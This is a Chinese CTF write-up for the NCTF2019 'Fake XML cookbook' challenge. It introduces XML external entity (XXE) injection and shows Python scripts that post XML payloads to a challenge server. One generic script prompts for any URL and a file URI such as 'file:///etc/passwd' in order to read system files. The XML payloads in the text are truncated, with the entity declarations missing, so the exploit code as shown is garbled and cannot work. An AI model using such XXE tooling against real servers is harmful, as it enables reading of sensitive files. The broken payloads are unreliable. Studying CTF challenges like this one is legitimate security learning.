[NCTF2019]Fake XML cookbook

0x00 知识点

XXE攻击
附上链接:

https://xz.aliyun.com/t/6887

XXE(XML External Entity Injection)全称为XML外部实体注入
XML可能存在的漏洞:
XML注入和XPath注入XML 外部实体注入

什么是 XML?
XML 指可扩展标记语言(EXtensible Markup Language)。
XML 的设计宗旨是传输数据,而不是显示数据。
XML 是 W3C 的推荐标准。
XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
XML 语言没有预定义的标签

0x01 解题

这是一道最简单的XXE
查看源码
[NCTF2019]Fake XML cookbook_第1张图片

用XML和服务器通讯,联想到XXE攻击
实际上看页面也懂了,这是XXE-LAB
payload:


]>
&test;123
import requests
url = "http://0c1959cb-aa7d-465c-9174-124b5eed19fb.node3.buuoj.cn/"

payload = '''
]>
&foo;0
'''

r = requests.post(url,data=payload,headers={'Content-Type':'text/xml'})
print r.text

都没弹出来flag..
不过学习了XML有收获233

[NCTF2019]Fake XML cookbook_第2张图片
最后附上一个脚本:

#!/usr/bin/python
# -*- coding:utf-8 -*-

import urllib2

if __name__ == '__main__':

    print u'输入要访问的地址,如http://127.0.0.1/xml/xxe2.php'
    url = raw_input()
    count=1
    while count==1:
        print u'输入要读取的文件,如file:///etc/passwd'
        payload = raw_input()
        headers = {'Content-type': 'text/xml'}
        xml = ']>&xxe;'
        req = urllib2.Request(url = url,headers = headers, data = xml)
        res_data = urllib2.urlopen(req)
        res = res_data.read()
        print res

运行如下:
[NCTF2019]Fake XML cookbook_第3张图片

你可能感兴趣的:([NCTF2019]Fake XML cookbook)